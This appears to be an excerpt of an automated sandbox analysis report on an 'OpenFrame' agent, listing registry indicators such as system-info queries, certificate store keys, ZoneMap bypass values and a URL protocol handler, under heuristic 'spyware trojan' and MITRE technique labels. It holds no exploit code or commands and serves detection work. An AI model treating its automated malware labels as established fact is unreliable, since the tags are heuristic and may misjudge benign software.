Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Configuration Data	osqueryd.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	osqueryd.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Patch Source	osqueryd.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\CPU Meta Data	osqueryd.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Current Record Version	osqueryd.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Previous Update Revision	osqueryd.exe
Key value enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	osqueryd.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	osqueryd.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	osqueryd.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	osqueryd.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	osqueryd.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Record Type	osqueryd.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\CPU Family Model Stepping	osqueryd.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Previous Record Version	osqueryd.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Current Record Version	osqueryd.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Status	osqueryd.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	osqueryd.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	osqueryd.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	osqueryd.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Record Type	osqueryd.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Previous Record Version	osqueryd.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information	osqueryd.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Previous Update Revision	osqueryd.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	osqueryd.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Configuration Data	osqueryd.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	osqueryd.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\CPU Family Model Stepping	osqueryd.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

defense_evasion spyware trojan

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedgewebview2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedgewebview2.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedgewebview2.exe

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
1092	taskkill.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	agent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\ClientAuthIssuer\Certificates	osqueryd.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	osqueryd.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	osqueryd.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	osqueryd.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\Certificates	osqueryd.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\ClientAuthIssuer	osqueryd.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\My\CTLs	osqueryd.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	osqueryd.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\AuthRoot	osqueryd.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\SystemCertificates\TrustedPeople	osqueryd.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\ClientAuthIssuer	osqueryd.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPublisher\Certificates	osqueryd.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed	osqueryd.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	agent.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	osqueryd.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA	osqueryd.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	osqueryd.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\SystemCertificates\TrustedPublisher\CRLs	osqueryd.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\AuthRoot\Certificates	osqueryd.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	osqueryd.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\@%SystemRoot%\System32\CertCA.dll,-304 = "Endorsement Key Trusted Root Certification Authorities"	osqueryd.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\CRLs	osqueryd.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	osqueryd.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	openframe-client.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	osqueryd.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\SystemCertificates\Disallowed	osqueryd.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\AuthRoot	osqueryd.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\ClientAuthIssuer\CRLs	osqueryd.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\@%SystemRoot%\System32\SessEnv.dll,-101 = "Remote Desktop"	osqueryd.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	osqueryd.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	osqueryd.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	osqueryd.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	osqueryd.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	agent.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	osqueryd.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	osqueryd.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\SystemCertificates\trust\CRLs	osqueryd.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\CRLs	osqueryd.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe

Modifies registry class 48 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Software\Microsoft\SystemCertificates\TrustedPublisher	osqueryd.exe
Key created	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	osqueryd.exe
Key created	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	osqueryd.exe
Key created	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Software\Microsoft\SystemCertificates	osqueryd.exe
Key created	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Software\Microsoft\SystemCertificates\CA\CTLs	osqueryd.exe
Key created	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Software\Microsoft\SystemCertificates\TrustedPublisher\Certificates	osqueryd.exe
Key created	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Software\Microsoft\SystemCertificates\TrustedPublisher\CTLs	osqueryd.exe
Key created	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Software\Microsoft\SystemCertificates\Disallowed\Certificates	osqueryd.exe
Key created	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Software\Microsoft\SystemCertificates\Disallowed\CTLs	osqueryd.exe
Key created	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Software\Microsoft\SystemCertificates\AuthRoot\Certificates	osqueryd.exe
Key created	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Software\Microsoft\SystemCertificates\AuthRoot\CTLs	osqueryd.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\AppUserModelId\com.openframe.chat\IconBackgroundColor = "#00000000"	agent.exe
Key created	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Software\Microsoft\SystemCertificates\My\CTLs	osqueryd.exe
Key created	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Software\Microsoft\SystemCertificates\ClientAuthIssuer\CTLs	osqueryd.exe
Key created	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Software\Microsoft\SystemCertificates\Trust	osqueryd.exe
Key created	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Software\Microsoft\SystemCertificates\Trust\CRLs	osqueryd.exe
Key created	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Software\Microsoft\SystemCertificates\Trust\CTLs	osqueryd.exe
Key created	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Software\Microsoft\SystemCertificates\CA\CRLs	osqueryd.exe
Key created	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Software\Microsoft\SystemCertificates\TrustedPeople	osqueryd.exe
Key created	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Software\Microsoft\SystemCertificates\ClientAuthIssuer\CRLs	osqueryd.exe
Key created	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Software\Microsoft\SystemCertificates\CA\Certificates	osqueryd.exe
Key created	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Software	osqueryd.exe
Key created	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\AppUserModelId	agent.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\openframe-chat\ = "URL:OpenFrame Chat"	agent.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\openframe-chat\URL Protocol	agent.exe
Key created	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Software\Microsoft\SystemCertificates\CA	osqueryd.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\AppUserModelId\com.openframe.chat\DisplayName = "OpenFrame Chat"	agent.exe
Key created	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\openframe-chat	agent.exe
Key created	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\openframe-chat\shell	agent.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\AppUserModelId\com.openframe.chat\IconUri = "C:\\Users\\Admin\\AppData\\Local\\com.openframe.chat\\notification-icon.png"	agent.exe
Key created	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Software\Microsoft	osqueryd.exe
Key created	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Software\Microsoft\SystemCertificates\Root	osqueryd.exe
Key created	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Software\Microsoft\SystemCertificates\Disallowed	osqueryd.exe
Key created	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Software\Microsoft\SystemCertificates\My	osqueryd.exe
Key created	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\openframe-chat\shell\open\command	agent.exe
Key created	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Software\Microsoft\SystemCertificates\Trust\Certificates	osqueryd.exe
Key created	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Software\Microsoft\SystemCertificates\AuthRoot	osqueryd.exe
Key created	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Software\Microsoft\SystemCertificates\ClientAuthIssuer\Certificates	osqueryd.exe
Key created	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Software\Microsoft\SystemCertificates\My\Certificates	osqueryd.exe
Key created	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Software\Microsoft\SystemCertificates\TrustedPublisher\CRLs	osqueryd.exe
Key created	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Software\Microsoft\SystemCertificates\Disallowed\CRLs	osqueryd.exe
Key created	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Software\Microsoft\SystemCertificates\AuthRoot\CRLs	osqueryd.exe
Key created	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	osqueryd.exe
Key created	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Software\Microsoft\SystemCertificates\ClientAuthIssuer	osqueryd.exe
Key created	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\AppUserModelId\com.openframe.chat	agent.exe
Key created	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\openframe-chat\shell\open	agent.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\openframe-chat\shell\open\command\ = "\"C:\\ProgramData\\OpenFrame\\openframe-chat\\agent.exe\" \"%1\""	agent.exe
Key created	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Software\Microsoft\SystemCertificates\My\CRLs	osqueryd.exe

Modifies system certificate store 2 TTPs 52 IoCs

Install Root Certificate

T1553.004

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\Windows Live ID Token Issuer\Certificates\B68D8F953E551914324E557E6164D68B9926650C	osqueryd.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\SystemCertificates\WindowsServerUpdateServices	osqueryd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\FlightRoot\CRLs	osqueryd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\FlightRoot\CTLs	osqueryd.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\SystemCertificates\TrustedDevices	osqueryd.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\SystemCertificates\Windows Live ID Token Issuer	osqueryd.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\Windows Live ID Token Issuer\Certificates\2C85006A1A028BCC349DF23C474724C055FDE8B6\Blob = 140000000100000014000000a353ea5503cd0a69c45870b6ffe3912091c79f7a0300000001000000140000002c85006a1a028bcc349df23c474724c055fde8b620000000010000001f0300003082031b308202dba003020102020900bea900b78b6470ef300906072a8648ce38040330233121301f06035504031318546f6b656e205369676e696e67205075626c6963204b6579301e170d3136303530393230343035355a170d3231303530383230343035355a30233121301f06035504031318546f6b656e205369676e696e67205075626c6963204b6579308201b73082012c06072a8648ce3804013082011f02818100a9a733a14a9c9d68b075811ddf231c514c0cdc328087287fd11f1d6eb125b536b88cd5579591bb6e7545b45b98eaa8cdeb0ae38be4781c7d36d97b3d2bb45b9449142130f68e112c6d09e343160cd0d0fbb8aabc8b0cea5b2066b0e3368589dadfd8ae79e9d2bdc5f5836d8fb278be02c260d3a592bda471f1a28e2f925e8b57021500a86236ce56c046d8f3fac8a6bb63e28543e45753028181009eb2085cfbe32af5a25dddeebdeede0d2f2a4475bbca802c7952e078421b4b85528fff6242aba7c75c1e40695db3be422d982972b638679c1b9314a39cad44577d2a71ee3e5738176062d9200be5efcc1b00c16b1b48e8b1771c01b9aa54ce0b5f6679caed531293d92ef822695e20264e23b188489ea3e6dc1c36a90fa0668903818400028180168cdc3d074cf4c9accef116317b85adf100f2454c9ca23203ad296928bb08879c48096c44bcb0dc3f49f69456e871dd45980eacabe735c63ade0281e7a48aca3eabde71aab64c04a6ef72c352be936692c8970a3c7615370d549b931c289810278f5284914f6965df0d93ce0a980ca5dce26e75a331c4da939af3e051d252d3a38198308195301d0603551d0e04160414a353ea5503cd0a69c45870b6ffe3912091c79f7a30530603551d23044c304a8014a353ea5503cd0a69c45870b6ffe3912091c79f7aa127a42530233121301f06035504031318546f6b656e205369676e696e67205075626c6963204b6579820900bea900b78b6470ef30120603551d130101ff040830060101ff020100300b0603551d0f0404030201c6300906072a8648ce380403032f00302c021468e7a7cdfca81ff04d476fa11b781b7696d1fbf402145ef1c64374ebde4c309b59a9deeb99e556fd1477	osqueryd.exe
Key created	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000\Software\Microsoft\SystemCertificates\ClientAuthIssuer\CTLs	osqueryd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TestSignRoot\Certificates	osqueryd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TestSignRoot\CRLs	osqueryd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TestSignRoot\CTLs	osqueryd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AAD Token Issuer\CRLs	osqueryd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\eSIM Certification Authorities\CTLs	osqueryd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedAppRoot\Certificates	osqueryd.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\SystemCertificates\ClientAuthIssuer	osqueryd.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\SystemCertificates\AAD Token Issuer	osqueryd.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\SystemCertificates\OemEsim	osqueryd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedDevices\Certificates	osqueryd.exe
Key created	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000\Software\Microsoft\SystemCertificates\ClientAuthIssuer\CRLs	osqueryd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ClientAuthIssuer\CRLs	osqueryd.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\SystemCertificates\FlightRoot	osqueryd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AAD Token Issuer\CTLs	osqueryd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\eSIM Certification Authorities\CRLs	osqueryd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\OemEsim\Certificates	osqueryd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\OemEsim\CRLs	osqueryd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\PasspointTrustedRoots\Certificates	osqueryd.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\SystemCertificates\TrustedAppRoot	osqueryd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ClientAuthIssuer\CTLs	osqueryd.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\SystemCertificates\eSIM Certification Authorities	osqueryd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\Windows Live ID Token Issuer\Certificates	osqueryd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\Windows Live ID Token Issuer\CRLs	osqueryd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\Windows Live ID Token Issuer\CTLs	osqueryd.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\Windows Live ID Token Issuer\Certificates\B68D8F953E551914324E557E6164D68B9926650C\Blob = 140000000100000014000000d8201fdaa7f2d1002bf5eda7be5e8e49897208f0030000000100000014000000b68d8f953e551914324e557e6164d68b9926650c2000000001000000200300003082031c308202dba003020102020900f5610f0c1a4d426b300906072a8648ce38040330233121301f06035504031318546f6b656e205369676e696e67205075626c6963204b6579301e170d3231303331383138343233375a170d3431303331333138343233375a30233121301f06035504031318546f6b656e205369676e696e67205075626c6963204b6579308201b73082012b06072a8648ce3804013082011e02818100dc1911eb3e0ac27a1b8fcf7b95e6192f5ee6a922eca3cc87df88539244fb3d07d10e2fe7570a602726d0e1ed4ad078a1317746a4dc613eb0629fe4e8272b19454aa3ad2d598dc2fa884e001a5fa009ecb4b5ff6d9996610f3b2b3911a41db558608026ca0d439574a106f09c479e58ee6c7d9e93de57cfed8832798e0d6ad5a10215008453f6990ad5473bab4ebb0f46ce52d5a354596502818070de55e09bdc70d46f414acf263fdb2ff0879f0bceed06ea6789a518fe5cfe025374aacead5cf1d27aca1b085c4b0cd4f4561c387d24c904f96af7db6f57a8a9110901b51dc2a2531532ad06ec4096f288e73d651cc1d6140b2932ee4c95ec4bb09d462800de2765606137d04e8ff9ced03b391c89ebc91d119d312f4f4ba88f0381850002818100d920e184f0439cac6f987f511ef4d45b4a6f693c806c55f143558ffab70deb4f1a92a2a6c8c8ac931094c92a0118011b13fb33701a93bb8569bec9323811d8e8b8ba7b060fe5ca557bb980461dbbf9cb863b3cf7259015c22efd0fabbdffa3b19cbc9f6dd469605ab4aa59ad5126eab69f3de5cb3470b9fc4c8a69b7e87a8832a38198308195301d0603551d0e04160414d8201fdaa7f2d1002bf5eda7be5e8e49897208f030530603551d23044c304a8014d8201fdaa7f2d1002bf5eda7be5e8e49897208f0a127a42530233121301f06035504031318546f6b656e205369676e696e67205075626c6963204b6579820900f5610f0c1a4d426b30120603551d130101ff040830060101ff020100300b0603551d0f0404030201c6300906072a8648ce380403033000302d021470c61b78deaf41f3cbf42bd3c0f1fd7a5018f1bf0215008399b086c63512f057352a2bf1e6b248d8ab107d	osqueryd.exe
Key created	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000\Software\Microsoft\SystemCertificates\ClientAuthIssuer\Certificates	osqueryd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\WindowsServerUpdateServices\Certificates	osqueryd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ClientAuthIssuer\Certificates	osqueryd.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\SystemCertificates\TestSignRoot	osqueryd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\PasspointTrustedRoots\CRLs	osqueryd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedAppRoot\CTLs	osqueryd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedDevices\CTLs	osqueryd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\WindowsServerUpdateServices\CRLs	osqueryd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\FlightRoot\Certificates	osqueryd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\eSIM Certification Authorities\Certificates	osqueryd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\OemEsim\CTLs	osqueryd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedDevices\CRLs	osqueryd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\Windows Live ID Token Issuer\Certificates\2C85006A1A028BCC349DF23C474724C055FDE8B6	osqueryd.exe
Key created	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000\Software\Microsoft\SystemCertificates\ClientAuthIssuer	osqueryd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\WindowsServerUpdateServices\CTLs	osqueryd.exe
